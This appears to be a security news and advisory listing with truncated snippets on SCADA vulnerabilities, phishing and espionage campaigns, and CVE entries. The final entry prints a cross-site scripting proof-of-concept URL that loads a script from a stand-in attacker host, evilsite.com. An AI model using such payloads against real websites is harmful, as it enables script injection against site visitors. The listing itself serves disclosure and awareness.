Siemens WinCC 7.0 SP3 Multiple Vulnerabilities

Overview This advisory provides mitigation details for vulnerabilities that impact the Siemens SIMATIC WinCC. Positive Technologies and Siemens ProductCERT have identified multiple vulnerabilities in the Siemens SIMATIC WinCC, which is used to configure SIMATIC operator devices. Siemens has...

Invensys Wonderware Win-XML Exporter Improper Input Validation Vulnerability

Overview This advisory was originally posted to the US-CERT secure Portal library on March 08, 2013, and is now being released to the ICS-CERT Web page. This advisory provides mitigation details for a vulnerability that impacts the Invensys Wonderware Win-XML Exporter. Researchers Timur Yunusov,...

Email Spam Claims US Attacks Syria and Leads to Malware

A new phishing campaign is disseminating malicious links with emails purporting to come from CNN saying that the United States has initiated military strikes against the embattled regime of Syrian President Bashar al Assad. One such email, obtained by Kaspersky Lab and posted on Securelist, comes...

Use of Java Zero-Day Flaws Tied to Nitro Attack Crew

Researchers say that one of the attack groups using the two new Java zero-day vulnerabilities is the same group that was behind an earlier targeted attack campaign from 2011. That group was traced back to China and was essentially running a spear-phishing campaign, but now the crew, known as Nitr...

Siemens SIMATIC S7-400 PN CPU DoS

Overview Siemens has reported to ICS-CERT that denial-of-service DoS vulnerabilities exist in the SIMATIC S7-400 V6 and SIMATIC S7-400 V5 PN CPU products. Siemens has produced a firmware update that mitigates the vulnerability affecting the S7-400 V6. Siemens will not fix the vulnerability that...

Sunway ForceControl SNMP NetDBServer Data Chunk Copy Buffer Overflow

Added: 02/22/2012 BID: 49747 OSVDB: 75798 Background Sunway ForceControl is a Chinese SCADA/HMI software application widely used in China to help run weapons systems, utilities and chemical plants. It is also used to a lesser extent in other countries, including the US. SNMP NetDBServer is one of...

Sunway ForceControl SNMP NetDBServer Data Chunk Copy Buffer Overflow

Added: 02/22/2012 BID: 49747 OSVDB: 75798 Background Sunway ForceControl is a Chinese SCADA/HMI software application widely used in China to help run weapons systems, utilities and chemical plants. It is also used to a lesser extent in other countries, including the US. SNMP NetDBServer is one of...

Symantec Traces Attacks on Chemical Industry To 20 Year Old Chinese Hacker-For-Hire

A report from Symantec Corp. details a roving campaign of intellectual property theft controlled by a 20 year-old hacker for hire that relied on phishing e-mail, some old malware and command and control operations based in China. The company on Tuesday unveiled research on the targeted attacks,...

FBI: Employee Passed Chicago Mercantile Exchange Secrets to China

A 10 year employee of CME Group in Chicago is alleged to have stolen trade secrets and proprietary source code used to run trading systems for the Chicago Mercantile Exchange, according to a criminal complaint filed in U.S. District Court in Illinois. The complaint, dated June 30, 2011 and signed...

WordPress Plugin jQuery Mega Menu 1.0 - Local File Inclusion

Source: http://packetstormsecurity.org/files/view/98753/WordPressjQueryMegaMenu1.0-lfi.txt ------------------------------------------------------------------------ Software................WordPress jQuery Mega Menu 1.0 Vulnerability...........Local File Inclusion...

Energy, Chemical Companies Are Malware Targets

Critical infrastructure organizations, such as those in the energy, oil, pharmaceutical and chemical sectors, encountered at least twice as much web malware as other organizations during 2009, researchers found. Read the full article. Secure Computing...

CVE-2006-2988

Cross-site scripting XSS vulnerability in dictionary.php in Chemical Dictionary allows remote attackers to inject arbitrary web script or HTML via the keyword parameter in a browse action...

CVE-2006-2988

CVE-2006-2988 is a Cross-site Scripting (XSS) vulnerability in the dictionary.php script of Chemical Dictionary, exploitable via the keyword parameter in a browse action. The issue allows remote attackers to inject arbitrary web script or HTML. Reported impact is partial integrity exposure but no...

Chemical Directory - XSS

Chemical Directory v.unknown doesnt say on website Homepage: http://www.scriptsez.net/ Effected files: dictionary.php XSS Vulnerability via keyword variable: http://www.example.com/dictionary.php?action=browse&keyword=eSCRIPT SRC=http://evilsite.com/xss.js/SCRIPT...